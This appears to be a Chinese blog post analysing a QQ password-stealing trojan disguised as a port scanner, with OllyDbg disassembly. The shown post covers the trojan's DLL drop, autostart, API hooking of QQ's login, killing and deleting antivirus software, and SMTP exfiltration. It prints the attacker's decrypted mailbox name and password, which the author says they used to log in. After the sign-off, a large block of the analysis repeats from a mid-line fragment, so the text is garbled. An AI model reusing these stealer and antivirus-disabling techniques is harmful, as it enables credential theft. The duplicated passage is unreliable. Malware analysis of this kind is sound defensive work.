那天晚上在群里和backer下载一端口扫描器(一看就知道是qq木马),我们把它反汇编把其中的盗qq的邮箱给弄出来了。下面抽工作之余我对这个家伙进行了详细的分析: 由于当时没有装虚拟器,就拿自己的笔记本做实验台了。用peid查壳发现是FSG的一个变形的壳,只能手工脱了,用OD载入,脱壳的具体细节我也不说了,因为在我脱的过程中一不小心给运行了,发现界面确实是个扫描器,于是看了看我的临时目录下多出两个文件:端口扫描器.exe和muma.exe看来这是个捆绑机啊。也不用脱了muma.exe出来了。 再用peid查壳发现是UPX的一个变形壳。载入OD手动脱掉之后(脱壳我就不分析了),脱出来的我们叫upack.exe吧。用Ultraedit把它们都打开会发现muma.exe最后有一些加密的字符串,脱壳后的upack.exe里就没有。把这些字串复制到upack.exe的结尾(注意要复制的刚好到位。可能有人会问:你怎么知道的呢。我一开始的时候也没有复制,在跟踪的时候发现此程序在读自身,就察觉有问题)。如果不复制的话带壳调也行。 下面开始真正的分析这个程序了: 0040507E 50 push eax 0040507F 6A 00 push 0 00405081 68 01001F00 push 1F0001 00405086 E8 65EBFFFF call <jmp.&kernel32.OpenMutexA> 打开互斥 0040508B 85C0 test eax, eax 0040508D 75 13 jnz short 004050A2 一开始先检查互斥(判断程序运行是否唯一),由于我的机子已经中了这个木马了,需要改一下跳转。0040508D 75 13 je short 004050A2 不然的话就自己动退出了。 004050D0 A1 C0604000 mov eax, dword ptr [4060C0] 把"ExeMutex_QQRobber2.0"给eax 004050D5 E8 1AE3FFFF call 004033F4 判断上面的字符串有没有 004050DA 50 push eax 004050DB 6A 00 push 0 004050DD 6A 00 push 0 004050DF E8 9CEAFFFF call 00403B80 以"ExeMutex_QQRobber2.0"创建互斥 看一下call 00403B80这个函数里面: 00403B80 55 push ebp 00403B81 8BEC mov ebp, esp 00403B83 8B45 10 mov eax, dword ptr [ebp+10] 00403B86 50 push eax 00403B87 837D 0C 01 cmp dword ptr [ebp+C], 1 00403B8B 1BC0 sbb eax, eax 00403B8D 40 inc eax 00403B8E 83E0 7F and eax, 7F 00403B91 50 push eax 00403B92 8B45 08 mov eax, dword ptr [ebp+8] 00403B95 50 push eax 00403B96 E8 DDFFFFFF call <jmp.&kernel32.CreateMutexA> 00403B9B 5D pop ebp 00403B9C C2 0C00 retn 0C 创建了一个互斥 下面呢 004050E9 E8 16EEFFFF call 00403F04 到这个函数里去: 00403F25 E8 FAF5FFFF call 00403524 00403F2A 6A 32 push 32 00403F2C 8BC3 mov eax, ebx 00403F2E E8 19F5FFFF call 0040344C 00403F33 50 push eax 00403F34 E8 97FCFFFF call <jmp.&kernel32.GetWindowsDirectoryA> 00403F39 8D45 FC lea eax, dword ptr [ebp-4] 00403F3C E8 D7FEFFFF call 00403E18 得到系统目录,我的是:C:\windows(再往下看就知道为什么了) 看00403F3C E8 D7FEFFFF call 00403E18 里得到C:\的具体信息,(推测是判断一下这个C:\盘是否存在) 现在有了C:\这个系统盘符了 00403F73 E8 3CF3FFFF call 004032B4 00403F78 EB 27 jmp short 00403FA1 在程序里有内置了一个目录是:\Program Files\Common Files\Microsoft Shared\MSInfo call 004032B4就是把C和上面的字串接起来 004050E9 E8 16EEFFFF call 00403F04 004050EE 8B55 EC mov edx, dword ptr [ebp-14] 004050F1 B8 B0764000 mov eax, 004076B0 004050F6 E8 05E0FFFF call 00403100 004050FB A1 B0764000 mov eax, dword ptr [4076B0] 00405100 E8 EFE2FFFF call 004033F4 上面的函数是通过一些算法随机算出一个dll文件名,我机子上是E83B4A4D.dll然后和上面的字串接起来成为: C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll 00405105 8BD8 mov ebx, eax 00405107 53 push ebx 得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll的属性 00405108 E8 ABEAFFFF call <jmp.&kernel32.GetFileAttributesA> 它的意思是看这个文件存在否, 0040510D 83F8 FF cmp eax, -1 比较是否失败 这个程序判断一个文件是否存在用的不是FindFirstFile是GetFileAttributes函数,意思是如果得不到此文件的属性就认为它不存在 00405110 /74 0E je short 00405120 00405112 |6A 00 push 0 00405114 |53 push ebx 00405115 |E8 EEEAFFFF call <jmp.&kernel32.SetFileAttributesA> 设置此文件的属性 0040511A |53 push ebx 0040511B |E8 80EAFFFF call <jmp.&kernel32.DeleteFileA> 注意 00405120 \8D55 E4 lea edx, dword ptr [ebp-1C] 如果存在呢,设置文件的属性为正常,然后把它删掉 继续往下看这个00405125 E8 62D5FFFF call 0040268C 里面是: 004026A4 68 05010000 push 105 004026A9 8D4424 04 lea eax, dword ptr [esp+4] 004026AD 50 push eax 004026AE 6A 00 push 0 004026B0 E8 AFE9FFFF call <jmp.&kernel32.GetModuleFileNameA> 004026B5 8BC8 mov ecx, eax 得到自己程序和路径:我的是C:\Documents and Settings\javafish\Desktop\MSInfo\upack.exe 返回看00405130 E8 AFF7FFFF call 004048E4 里面: 00404927 6A 00 push 0 00404929 68 80000000 push 80 0040492E 6A 03 push 3 00404930 6A 00 push 0 00404932 6A 01 push 1 00404934 68 00000080 push 80000000 00404939 8B45 FC mov eax, dword ptr [ebp-4] 0040493C E8 B3EAFFFF call 004033F4 00404941 50 push eax 00404942 E8 29F2FFFF call <jmp.&kernel32.CreateFileA> 查看点击木马程序 开始操作程序本身了 下面00404962 E8 A9F2FFFF call <jmp.&kernel32.SetFilePointer> 调整好文件指针开始读自身的程序了 一直到: 004049EC 50 push eax 004049ED 56 push esi 004049EE E8 05F2FFFF call <jmp.&kernel32.ReadFile> qYrAjIODlLCMkWNu_Wrp\ HN<qH?<\HN<mD?@\HN<mD< 紧接着004049F9 E8 AAFCFFFF call 004046A8 对加密信息进行解密,大部分是解密算法,一直往下跟: 004047CA 3B75 F4 cmp esi, dword ptr [ebp-C] 004047CD ^ 0F8C 47FFFFFF jl 0040471A 木马配置信息是加密过的,以上是解密配置信息 004047D3 8D45 E0 lea eax, dword ptr [ebp-20] [ebp-20]处显示配置信息的明文 看看解密出来的明文吧: http://www.xxx.com/qq.asp huwan520@tom.com smtp.tom.com huwan520 100200520 huwan520@tom.com1 500 1 1 1 1 1 .u@. 根据经验可以看出邮件服务器为smtp.tom.com 收件箱为 huwan520@tom.com Smtp服务器的用户名为huwan520,密码为:100200520 登陆一下是可以进去的,里面有六百多个qq,木马传播者的信息呢(现在已改)。 继续分析: 一直跟到 00404CDA 8BD8 mov ebx, eax 以上在做字符串操作,把各个配置信息提取出来 会发现程序一直在做字串的拆解工作。 等函数都返回跟到: 00405138 50 push eax 00405139 6A 01 push 1 0040513B 8BCB mov ecx, ebx 0040513D BA 0C534000 mov edx, 0040530C ASCII "DATEINFO" 00405142 B8 0A000000 mov eax, 0A 00405147 E8 2CFCFFFF call 00404D78 发现在调用可疑的函数call 00404D78(为什么可疑呢:上面那个字串"DATEINFO"的原因) 进去看看: 00404D96 55 push ebp 00404D97 68 F64E4000 push 00404EF6 00404D9C 64:FF30 push dword ptr fs:[eax] 00404D9F 64:8920 mov dword ptr fs:[eax], esp 00404DA2 C645 FF 00 mov byte ptr [ebp-1], 0 00404DA6 56 push esi 00404DA7 57 push edi 00404DA8 A1 50764000 mov eax, dword ptr [407650] 00404DAD 50 push eax 00404DAE E8 F5EDFFFF call <jmp.&kernel32.FindResourceA> 它在加载资源,而资源的名称恰恰为:"DATEINFO" 以下的 00404DC4 E8 17EEFFFF call <jmp.&kernel32.LoadResource> 00404DD4 E8 0FEEFFFF call <jmp.&kernel32.LockResource> 为取出资源来作准备 00404DEC 6A 00 push 0 00404DEE 6A 06 push 6 00404DF0 6A 02 push 2 00404DF2 6A 00 push 0 00404DF4 6A 00 push 0 00404DF6 68 000000C0 push C0000000 00404DFB 53 push ebx 00404DFC E8 6FEDFFFF call <jmp.&kernel32.CreateFileA> 加载自身资源把dll提取出来,生成到C:\PROGRAM FILES\COMMONS FILE\.... ―――真正的释放了 00404E2C E8 E7EDFFFF call <jmp.&kernel32.SizeofResource> 取得资源大小 00404E3F E8 E4EDFFFF call <jmp.&kernel32.WriteFile> 写入文件,此文件正是:C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll 还没完: 00404E69 50 push eax 00404E6A 56 push esi 00404E6B 8D45 0C lea eax, dword ptr [ebp+C] 00404E6E E8 D9E5FFFF call 0040344C 00404E73 50 push eax 00404E74 53 push ebx 00404E75 E8 AEEDFFFF call <jmp.&kernel32.WriteFile> 把木马配置文件也写到dll的结尾(可以用Ultraedit打开看看) 最后FreeResouce收尾 函数返回接着 0040514C 6A 07 push 7 0040514E 53 push ebx 0040514F E8 B4EAFFFF call <jmp.&kernel32.SetFileAttributesA> 把C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll改为隐藏属性 下面注册dll为COM可以自启动 00405156 E8 15F2FFFF call 00404370 注册dll为Com 这个函数里用的都是注册表的操作 接下来 0040515E E8 75EEFFFF call 00403FD8 00405163 8B45 E0 mov eax, dword ptr [ebp-20] 00405166 E8 89E2FFFF call 004033F4 上面用一开始程序得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll的方法得到一个C:\Program Files\Common Files\Microsoft Shared\MSINFO\E83B4A4D.dat的文件。 0040516B 50 push eax 0040516C E8 47EAFFFF call <jmp.&kernel32.GetFileAttributesA> 再用GetFileAttributes函数判断C:\Program Files\Common Files\Microsoft Shared\MSINFO\E83B4A4D.dat是否存在,存在就删除 然后: 004051B6 50 push eax 004051B7 8D55 D0 lea edx, dword ptr [ebp-30] 004051BA 33C0 xor eax, eax 004051BC E8 CBD4FFFF call 0040268C 004051C1 8B45 D0 mov eax, dword ptr [ebp-30] 004051C4 E8 2BE2FFFF call 004033F4 004051C9 50 push eax 004051CA E8 99E9FFFF call <jmp.&kernel32.CopyFileA> 备份当前程序成dll旁边的.dat文件 并设置属性为系统文件,让一般人都看不到 004051EA E8 B9F0FFFF call 004042A8//函数里得到系统目录 004051EF 8B55 C8 mov edx, dword ptr [ebp-38] 004051F2 B8 B4764000 mov eax, 004076B4 004051F7 B9 20534000 mov ecx, 00405320 ASCII "Help\wshmcepts.chm" 把系统目录和Help\wshmcepts.chm拼接成C:\windows\Help\wshmcepts.chm 同样的方法用 0040520E E8 A5E9FFFF call <jmp.&kernel32.GetFileAttributesA> 先看看有没有C:\windows\help\wshmcepts.chm 00405226 6A FF push -1 00405228 57 push edi 00405229 8D55 C4 lea edx, dword ptr [ebp-3C] 0040522C 33C0 xor eax, eax 0040522E E8 59D4FFFF call 0040268C 00405233 8B45 C4 mov eax, dword ptr [ebp-3C] 00405236 E8 B9E1FFFF call 004033F4 0040523B 50 push eax 0040523C E8 27E9FFFF call <jmp.&kernel32.CopyFileA> 如果没有C:\windows\Help\wshmcepts.chm的话把当前程序备份成C:\windows\help\wshmcepts.chm 并设置属性为系统属性 0040524A E8 89E9FFFF call <jmp.&kernel32.LoadLibraryA> 载入dll了 0040524F 8BD8 mov ebx, eax 00405251 85DB test ebx, ebx 00405253 75 0A jnz short 0040525F 00405255 33C0 xor eax, eax 00405257 5A pop edx 00405258 59 pop ecx 00405259 59 pop ecx 0040525A 64:8910 mov dword ptr fs:[eax], edx 0040525D EB 74 jmp short 004052D3 0040525F 68 34534000 push 00405334 得到dll里的钩子函数JumpHookOn的地址 00405264 53 push ebx 00405265 E8 56E9FFFF call <jmp.&kernel32.GetProcAddress> 0040526A A3 B8764000 mov dword ptr [4076B8], eax 0040526F 68 40534000 push 00405340 得到关闭钩子JumpHookOff的地址 00405274 53 push ebx 00405275 E8 46E9FFFF call <jmp.&kernel32.GetProcAddress> 0040527A 89C7 mov edi, eax 0040527C FF15 B8764000 call dword ptr [4076B8] 加载钩子 00405282 68 E8030000 push 3E8 00405287 E8 94E9FFFF call <jmp.&kernel32.Sleep> 0040528C A1 C4604000 mov eax, dword ptr [4060C4] 00405291 E8 5EE1FFFF call 004033F4 00405296 50 push eax 看自己是否唯一,如果唯一就循环查看自己是否唯一,如果不唯一就退出 00405297 6A 00 push 0 00405299 68 01001F00 push 1F0001 0040529E E8 4DE9FFFF call <jmp.&kernel32.OpenMutexA> 004052A3 85C0 test eax, eax 004052A5 ^ 74 DB je short 00405282 004052A7 50 push eax 004052A8 E8 B3E8FFFF call <jmp.&kernel32.CloseHandle> 以上是对qq木马exe文件的分析,而它的一些要害功能都在上面的DLL里(未完) 前面在分析此木马的exe文件的最后调动了一下C:\program files\common\micsoftshared\msinfo\下的一个dll的JumpHookOn 下面分析一下这个dll: 先看JumpHookOn:如下 003D45B8 >/$ 6A 00 push 0 /ThreadID = 0 003D45BA |. A1 50D63D00 mov eax, dword ptr [3DD650] | 003D45BF |. 50 push eax |hModule => NULL 003D45C0 |. B8 98453D00 mov eax, 003D4598 | 003D45C5 |. 50 push eax |Hookproc => E83B4A4D.003D4598 003D45C6 |. 6A 03 push 3 |HookType = WH_GETMESSAGE 003D45C8 |. E8 2FFFFFFF call <jmp.&user32.SetWindowsHookExA> \SetWindowsHookExA 003D45CD |. A3 70D63D00 mov dword ptr [3DD670], eax 发现HOOK是用的消息钩子 不过从它的回调函数看来这个钩子基本没用 因为里面什么事也没干只调用了CallNextHook函数 从dll的主函数开始看: Dll先调用: 003DBC05 . 55 push ebp 003DBC06 . 68 28BF3D00 push 003DBF28 003DBC0B . 64:FF30 push dword ptr fs:[eax] 003DBC0E . 64:8920 mov dword ptr fs:[eax], esp 003DBC11 . 68 04010000 push 104 /BufSize = 104 (260.) 003DBC16 . 68 64D93D00 push 003DD964 |PathBuffer = E83B4A4D.003DD964 003DBC1B . 6A 00 push 0 |hModule = NULL 003DBC1D . E8 3287FFFF call <jmp.&kernel32.GetModuleFileNameA> \GetModuleFileNameA 得到程序的路径和名称,我的是: 003DD964 43 3A 5C 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64 C:\Documents andSettings\Adminstrator\桌面\OllyICE\LOADDLL.EXE (上一次的机子我怕分析出问题所以换了台机子,我用的是OD的LOADDLL加载分析的DLL) 提取出LOADDLL.EXE 调用 003DBC49 . BA 68BF3D00 mov edx, 003DBF68 ASCII "Explorer.exe" 003DBC4E . E8 558FFFFF call 003D4BA8 003DBC53 . 84C0 test , al, al 来判断它与Explorer.exe是否一样,不一样的话退出 为了分析把下面的je改为jnz 下面打开003DBC6F . E8 3087FFFF call <jmp.&kernel32.OpenMutexA> \OpenMutexA 不用去理会 接着调用: 003DBC85 . E8 6A8DFFFF call 003D49F4 这个函数的功能和上面的.exe中的一样:得到系统目录,算出本机的.dll文件拼接为:C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll 下面就是生成这个dll,和前面说的.exe的一样 003DBCA2 . E8 D995FFFF call 003D5280 下面开始创建线程: 003DBCAC . C600 01 mov byte ptr [eax], 1 003DBCAF . 68 60D93D00 push 003DD960 /pThreadId = E83B4A4D.003DD960 003DBCB4 . 6A 00 push 0 |CreationFlags = 0 003DBCB6 . 6A 00 push 0 |pThreadParm = NULL 003DBCB8 . 68 FCB33D00 push 003DB3FC |ThreadFunction = E83B4A4D.003DB3FC 003DBCBD . 6A 00 push 0 |StackSize = 0 003DBCBF . 6A 00 push 0 |pSecurity = NULL 003DBCC1 . E8 5E86FFFF call <jmp.&kernel32.CreateThread>\CreateThread 先在要去的线程地址上下个断点,一会就到了。先分析主线程,不用管它。 往下看: 003DBCC6 . 68 04010000 push 104 /BufSize = 104 (260.) 003DBCCB . 68 64D93D00 push 003DD964 |PathBuffer = E83B4A4D.003DD964 003DBCD0 . A1 50D63D00 mov eax, dword ptr [3DD650] | 003DBCD5 . 50 push eax |hModule => 003D0000 (E83B4A4D) 003DBCD6 . E8 7986FFFF call <jmp.&kernel32.GetModuleFileNameA> \GetModuleFileNameA 003DBCDB . 68 64D93D00 push 003DD964 /FileName = "C:\Documents and Settings\Administrator\",D7,"烂鎈E83B4A4D.dll" 003DBCE0 . E8 AF86FFFF call <jmp.&kernel32.LoadLibraryA> \LoadLibraryA 003DBCE5 > 8D45 A8 lea eax, dword ptr [ebp-58] 003DBCE8 . BA 64D93D00 mov edx, 003DD964 003DBCED . B9 05010000 mov ecx, 105 003DBCF2 . E8 597BFFFF call 003D3850 003DBCF7 . 8B45 A8 mov eax, dword ptr [ebp-58] 003DBCFA . 8D55 AC lea edx, dword ptr [ebp-54] 003DBCFD . E8 D68EFFFF call 003D4BD8 003DBD02 . 8B45 AC mov eax, dword ptr [ebp-54] 003DBD05 . BA 80BF3D00 mov edx, 003DBF80 ASCII "QQ.Exe" 上面先得到文件的路径,然后和”QQ.EXE”进行比较(进行比较是在call 003D4BA8里面) 发果不一样就跳走,(这可是个关键跳,两边都的分析) 先按正常顺序来,跳走 又开始那一系列:打开互斥…. 然后 把和前面一样得到系统目录把C:\windows\Help\wshmcepts.chm备份到"C:\ALASTART.EXE"然后运行一下。 然后主线程就这样永远的结束了。 让我们回过头来看看与QQ.EXE比较后的关键跳吧: 为什么拿QQ.EXE和自己比较呢,肯定有问题(应该是它会注入到QQ.EXE里面去),就是说当QQ被注入线程之后,在它里面的DLL它的主线程的名字才叫QQ.EXE,我们把跳转改一下 003DBD11 /0F85 E8000000 jnz 003DBDFF 注意 把下面的互斥跳转也要改 003DBD34 /0F85 C5000000 jnz 003DBDFF 下面开始: 003DBD43 . E8 AC8CFFFF call 003D49F4 上.exe一样得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll 003DBD60 . E8 1B95FFFF call 003D5280 上面dll文件信息 003DBD97 . 8D45 90 lea eax, dword ptr [ebp-70] 003DBD9A . B9 90BF3D00 mov ecx, 003DBF90 ASCII "npkcrypt.bak" 003DBD9F . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C] 003DBDA5 . E8 0A7BFFFF call 003D38B4 003DBDB2 . 50 push eax 003DBDB3 . 8D45 8C lea eax, dword ptr [ebp-74] 003DBDB6 . B9 A8BF3D00 mov ecx, 003DBFA8 ASCII "npkcrypt.sys" 003DBDBB . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C] 003DBDC1 . E8 EE7AFFFF call 003D38B4 003DBDC6 . 8B45 8C mov eax, dword ptr [ebp-74] 003DBDC9 . E8 9A7CFFFF call 003D3A68 003DBDCE . 50 push eax |ExistingName 003DBDCF . E8 C885FFFF call <jmp.&kernel32.MoveFileA> \MoveFileA 说明是把QQ目录下的npkcrypt.sys改成npkcrypt.bak 003DBDD4 . 8D45 88 lea eax, dword ptr [ebp-78] 003DBDD7 . B9 C0BF3D00 mov ecx, 003DBFC0 ASCII "LoginCtrl.dll" 003DBDDC . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C] 003DBDE2 . E8 CD7AFFFF call 003D38B4 003DBDE7 . 8B45 88 mov eax, dword ptr [ebp-78] 003DBDEA . E8 797CFFFF call 003D3A68 003DBDEF . 50 push eax /FileName 003DBDF0 . E8 9F85FFFF call <jmp.&kernel32.LoadLibraryA> \LoadLibraryA Load一下qq目录里的LoginCtrl.dll(加载dll郁闷啊,为了模拟真实环境我只能把它copy到qq目录下) 然后启动一个线程, 003DB098 /. 55 push ebp 003DB099 |. 8BEC mov ebp, esp 003DB09B |. 53 push ebx 003DB09C |. BB A00F0000 mov ebx, 0FA0 003DB0A1 |> E8 16FFFFFF /call 003DAFBC 003DB0A6 |. 6A 64 |push 64 /Timeout = 100. ms 003DB0A8 |. E8 2793FFFF |call <jmp.&kernel32.Sleep> \Sleep 003DB0AD |. 4B |dec ebx 003DB0AE |.^ 75 F1 \jnz short 003DB0A1 003DB0B0 |. 5B pop ebx 003DB0B1 |. 5D pop ebp 003DB0B2 \. C2 0400 retn 4 它在每0.1s循环做一件事情:看call 003DAFBC 里面不断的找标题为QQ用户登陆的对话框 找到就在上面的画上一个图标(伪装?) 找不到就找qq,找到就发送WM_SYSCOMMAND消息,参数为:SC_CLOSE把其关掉 接着启动一个线程之后 然后又调用003DBDFA . E8 31FBFFFF call 003DB930 这个调用是非常关键的,不过此DLL是运行在我的LoadDLL.EXE里面的不是QQ里面(因为前面我把跳转改了),所以动态是跟不进去了,因为它要LoadLibrary一些QQ的DLL所以只能静态的分析: 看这个call里面: 003DB930 /$ 68 CCB93D00 push 003DB9CC /Arg3 = 003DB9CC ASCII "user32.dll" 003DB935 |. 68 D8B93D00 push 003DB9D8 |Arg2 = 003DB9D8 ASCII "LoadImageA" 003DB93A |. 68 20B83D00 push 003DB820 |Arg1 = 003DB820 003DB93F |. B9 E4B93D00 mov ecx, 003DB9E4 |ASCII "LoginCtrl.Dll" 003DB944 |. B2 01 mov dl, 1 | 003DB946 |. A1 C0B53D00 mov eax, dword ptr [3DB5C0] | 003DB94B |. E8 C8FCFFFF call 003DB618 \up.003DB618 又在不断的call 1. user32.dll,LoadImageA,LoginCtrl.Dll 2. user32.dll,LoadStringA,MFC42.Dll 3. shell32.dll,ShellExecuteA,QQHelperDll.Dll 全是用的call 003DB618,这里一定很重要 拿第一组为例子看一下: 003DB639 |. E8 1E8DFFFF call <jmp.&kernel32.GetModuleHandleA> \GetModuleHandleA 003DB63E |. 8947 08 mov dword ptr [edi+8], eax 003DB641 |. 837F 08 00 cmp dword ptr [edi+8], 0 003DB645 |. 74 2E je short 003DB675 003DB647 |. 895F 0C mov dword ptr [edi+C], ebx 003DB64A |. 8B45 08 mov eax, dword ptr [ebp+8] 003DB64D |. 8947 10 mov dword ptr [edi+10], eax 003DB650 |. 8B45 0C mov eax, dword ptr [ebp+C] 003DB653 |. 50 push eax /ProcNameOrOrdinal 003DB654 |. 53 push ebx |/pModule 003DB655 |. E8 028DFFFF call <jmp.&kernel32.GetModuleHandleA> |\GetModuleHandleA 003DB65A |. 50 push eax |hModule 003DB65B |. E8 0C8DFFFF call <jmp.&kernel32.GetProcAddress> \GetProcAddress 从入栈的情况看来看是想找到LoginCtrl.DLL中调用user32.dll里LoadImageA的地址,得到了但没有调用,(中间也加杂着除错的代码)紧接着 003DB670 |. E8 67000000 call 003DB6DC Call了一下,跟进去: 一目了然,别的不说光看这里调用的API(ImageDirectoryEntryToData,VirtualProtect,WriteProcessMemory)就可想象它想干什么了:没错,HOOK api,但为什么会HOOK LoadImage呢 可以用资源查看器eXeScope.exe看一下木马dll的资源,里面有一个图标,是qq登陆框密码输入框上的小锁,估计是用来伪装qq密码加锁的现象。 那么其它的就不用说了吧 它想把LoadStringA,和ShellExecuteEx都HOOK掉,说明它盗QQ用的技术不是HOOP消息,而是HOOK API。 在这里应该可以初步的看出它盗QQ的做法是:把密码加锁关掉,但又不想让用户看出来便自己伪装了一个图标。既然密码加锁关掉了,那么QQ的实时输入密码便不会被加密。然后HOOK LoadString把密码截获。 回过头来看看 003DBCC1 . E8 5E86FFFF call <jmp.&kernel32.CreateThread> \CreateThread 那个线程吧 地址是:003db3fc 到那里去看看 发现它又创建了5个线程(创建它们是有条件的):不过这里我们改跳转就全让它创建了(这样程序可能会运行失败)。 这5个线程: 1. 003db0d0 2. 003db10c 3. 003db120 4. 003db12c 5. 003db244 003db0d0:里面看003DB0F1 |. E8 A6D0FFFF call 003D819C 跟进去会看到: 003D81E7 |. E8 98FBFFFF call 003D7D84 再跟进去: 003D7D8A |. E8 79FDFFFF call 003D7B08 再跟进去:会发现开始不断的得到一系列列出进程的函数的地址 不断的调用它们把进程,模块,线程都列出来 然后和它储备的一些比较,并在这里 003D8262 |. E8 15FFFFFF |call 003D817C 003D817C /$ 53 push ebx 003D817D |. 50 push eax /ProcessId 003D817E |. 6A FF push -1 |Inheritable = TRUE 003D8180 |. 68 FF0F1F00 push 1F0FFF |Access = PROCESS_ALL_ACCESS 003D8185 |. E8 22C2FFFF call <jmp.&kernel32.OpenProcess> \OpenProcess 003D818A |. 8BD8 mov ebx, eax 003D818C |. 6A 00 push 0 /ExitCode = 0 003D818E |. 53 push ebx |hProcess 003D818F |. E8 48C2FFFF call <jmp.&kernel32.TerminatePr> \TerminateProcess 结束进程. 来看第二个003db10c: 003DB10C /. 55 push ebp 003DB10D |. 8BEC mov ebp, esp 003DB10F |. E8 10D9FFFF call 003D8A24 003DB114 |. E8 A3DCFFFF call 003D8DBC 003DB119 |. 5D pop ebp 003DB11A \. C2 0400 retn 4 里面有两个call: 第一个是不断的列出自己的字串和“system\currentcontrolset\services\”或“software\microsoft\windows\currentversion\run”接起来,把有关杀毒软件的信息删除。 把杀毒软件的服务信息删除由于它储备的杀毒软件信息太多这里就不列出来了。 第二个是不断的猜注册表里杀毒软件的安装信息得到杀毒软件的安装路径,把杀毒软件的重要文件备份成为*.bak,删除。 第三个在里面的函数可以看出主要是真对还原精灵的,在注册表里删除还原精灵的信息。 不过在里面又启动一个线程 003D9BE5 |. 50 push eax /pThreadId 003D9BE6 |. 6A 00 push 0 |CreationFlags = 0 003D9BE8 |. 6A 01 push 1 |pThreadParm = 00000001 003D9BEA |. 68 84993D00 push 003D9984 |ThreadFunction = E83B4A4D.003D9984 003D9BEF |. 6A 00 push 0 |StackSize = 0 003D9BF1 |. 6A 00 push 0 |pSecurity = NULL 003D9BF3 |. E8 2CA7FFFF call <jmp.&kernel32.CreateThread> \CreateThread 进去:是为了隐藏一个叫LanCard的东西,不知道为什么这两个还特别对待。可能是因为还原精灵有点复杂,对复的方法不一样。 第四个:看 003DB173 . E8 08A9FFFF call 003D5A80 进去:可以看到它在准备初始化socket库开始对外发信了,具体不跟了就是smtp协议 看第五个: 读取注册表中qq的安装信息得到qq的路径,然后得到TIMPlatform.exe的路径 003DB302 . E8 95CEFFFF call 003D819C 上面call这里面和第一个线程调用的是一样的,列出进程把TIMPlatform.exe的进程杀掉。 003DB31F . 50 push eax 003DB320 . 8D45 E8 lea eax, dword ptr [ebp-18] 003DB323 . E8 A097FFFF call 003D4AC8 003DB328 . 8B45 E8 mov eax, dword ptr [ebp-18] 003DB32B . E8 3887FFFF call 003D3A68 003DB330 . 50 push eax |ExistingFileName 003DB331 . E8 B68FFFFF call <jmp.&kernel32.CopyFileA> \CopyFileA 把C:\program files\common\micsoft shared\MSINFO\***.dat(前面提到过的木马备份)复制到C:\program files\qq2006\***.exe。C:\program files\qq2006\TIMPlatform.exe复制到C:\program files\qq2006\TIMPlatform.exe.bak 然后向TIMPlatform.exe写入一些东西,什么东西呢,我也不知道。这个的专门研究了TIMPlatform.exe才行。估计是修改了TIMPlatform的功能(恶意的)。 鉴定完毕,如果有错误的地方请大家批评指出,谢谢,^_^ , al, al 来判断它与Explorer.exe是否一样,不一样的话退出 为了分析把下面的je改为jnz 下面打开003DBC6F . E8 3087FFFF call <jmp.&kernel32.OpenMutexA> \OpenMutexA 不用去理会 接着调用: 003DBC85 . E8 6A8DFFFF call 003D49F4 这个函数的功能和上面的.exe中的一样:得到系统目录,算出本机的.dll文件拼接为:C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll 下面就是生成这个dll,和前面说的.exe的一样 003DBCA2 . E8 D995FFFF call 003D5280 下面开始创建线程: 003DBCAC . C600 01 mov byte ptr [eax], 1 003DBCAF . 68 60D93D00 push 003DD960 /pThreadId = E83B4A4D.003DD960 003DBCB4 . 6A 00 push 0 |CreationFlags = 0 003DBCB6 . 6A 00 push 0 |pThreadParm = NULL 003DBCB8 . 68 FCB33D00 push 003DB3FC |ThreadFunction = E83B4A4D.003DB3FC 003DBCBD . 6A 00 push 0 |StackSize = 0 003DBCBF . 6A 00 push 0 |pSecurity = NULL 003DBCC1 . E8 5E86FFFF call <jmp.&kernel32.CreateThread>\CreateThread 先在要去的线程地址上下个断点,一会就到了。先分析主线程,不用管它。 往下看: 003DBCC6 . 68 04010000 push 104 /BufSize = 104 (260.) 003DBCCB . 68 64D93D00 push 003DD964 |PathBuffer = E83B4A4D.003DD964 003DBCD0 . A1 50D63D00 mov eax, dword ptr [3DD650] | 003DBCD5 . 50 push eax |hModule => 003D0000 (E83B4A4D) 003DBCD6 . E8 7986FFFF call <jmp.&kernel32.GetModuleFileNameA> \GetModuleFileNameA 003DBCDB . 68 64D93D00 push 003DD964 /FileName = "C:\Documents and Settings\Administrator\",D7,"烂鎈E83B4A4D.dll" 003DBCE0 . E8 AF86FFFF call <jmp.&kernel32.LoadLibraryA> \LoadLibraryA 003DBCE5 > 8D45 A8 lea eax, dword ptr [ebp-58] 003DBCE8 . BA 64D93D00 mov edx, 003DD964 003DBCED . B9 05010000 mov ecx, 105 003DBCF2 . E8 597BFFFF call 003D3850 003DBCF7 . 8B45 A8 mov eax, dword ptr [ebp-58] 003DBCFA . 8D55 AC lea edx, dword ptr [ebp-54] 003DBCFD . E8 D68EFFFF call 003D4BD8 003DBD02 . 8B45 AC mov eax, dword ptr [ebp-54] 003DBD05 . BA 80BF3D00 mov edx, 003DBF80 ASCII "QQ.Exe" 上面先得到文件的路径,然后和”QQ.EXE”进行比较(进行比较是在call 003D4BA8里面) 发果不一样就跳走,(这可是个关键跳,两边都的分析) 先按正常顺序来,跳走 又开始那一系列:打开互斥…. 然后 把和前面一样得到系统目录把C:\windows\Help\wshmcepts.chm备份到"C:\ALASTART.EXE"然后运行一下。 然后主线程就这样永远的结束了。 让我们回过头来看看与QQ.EXE比较后的关键跳吧: 为什么拿QQ.EXE和自己比较呢,肯定有问题(应该是它会注入到QQ.EXE里面去),就是说当QQ被注入线程之后,在它里面的DLL它的主线程的名字才叫QQ.EXE,我们把跳转改一下 003DBD11 /0F85 E8000000 jnz 003DBDFF 注意 把下面的互斥跳转也要改 003DBD34 /0F85 C5000000 jnz 003DBDFF 下面开始: 003DBD43 . E8 AC8CFFFF call 003D49F4 上.exe一样得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll 003DBD60 . E8 1B95FFFF call 003D5280 上面dll文件信息 003DBD97 . 8D45 90 lea eax, dword ptr [ebp-70] 003DBD9A . B9 90BF3D00 mov 